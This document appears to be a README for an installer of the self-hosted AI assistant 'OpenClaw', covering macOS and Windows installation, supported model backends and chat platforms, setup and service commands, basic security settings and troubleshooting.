🚀 One-click deployment for your private AI assistant. Supports multi-platform integration and multiple LLM backends.
| Component | Requirement |
|---|---|
| OS | macOS 12+ / Windows 10+ |
| Runtime | None (bundled in installer) for Mac/Win. |
| Hardware | Min 2GB RAM (4GB+ Recommended), 1GB Disk |
Download the latest installer for your platform from the Releases.
- Download the
OpenClaw_macOS.dmgfile. - Open the file and drag the OpenClaw icon to your Applications folder.
- Run OpenClaw from your Applications folder to initialize.
- Note: If you see a security warning, right-click the app and select "Open".
- The
openclawcommand is now available in your terminal.
- Download the
OpenClaw_x64.exefile. - Run the installer.
- Open OpenClaw.
- Commercial: Anthropic Claude (Sonnet/Opus), OpenAI GPT-4o, Google Gemini.
- Gateways: OpenRouter (One key for all models).
- Fast Inference: Groq, Mistral AI.
- Local: Ollama (Llama 3, Mistral) - Private & Offline.
Note: Custom API Base URLs are supported (e.g., OneAPI/NewAPI).
- Instant Messaging: Telegram, Discord, WhatsApp, Slack, WeChat, Feishu.
- Apple: iMessage (macOS only).
- Memory: Persistent long-term memory.
- Automation: Scheduled tasks and alerts.
- Skills: Extend functionality via Markdown.
- Control: System command execution and file I/O.
After installation, run the setup wizard:
- Mac/Linux:
openclaw onboardor./config-menu.sh - Windows:
openclaw onboard
Select [2] AI Model Config.
- Official: Enter API Key.
- Custom Proxy: Enter Base URL first, then API Key.
| Platform | Quick Setup Steps |
|---|---|
| Telegram | Create via @BotFather → Get Bot Token → Get User ID via @userinfobot. |
| Discord | Developer Portal → Create App → Bot Menu → Reset Token → Enable Message Content Intent. |
| Select in menu → Scan QR code in terminal. | |
| Feishu | Create App → Enable Bot → Use WebSocket mode (No IP needed). |
| Action | Command |
|---|---|
| Start Service | openclaw gateway start |
| Stop Service | openclaw gateway stop |
| View Logs | openclaw logs --follow |
| Config Menu | openclaw onboard |
| Check Health | openclaw doctor |
| Backup Data | openclaw backup |
- Isolation: Deploy on a dedicated server or VM if possible.
- Sandboxing: Enable
sandbox_mode: truein config. - Access Control: Strictly define
allowed_usersin channel configurations.
- "Unverified Developer" (macOS): Go to System Settings → Privacy & Security → scroll down and click "Open Anyway".
- Command Not Found (Windows): Restart your terminal (PowerShell/CMD) after installation to refresh the PATH.
- Connection Failed: Check
openclaw logsand ensure your firewall allows outgoing connections.
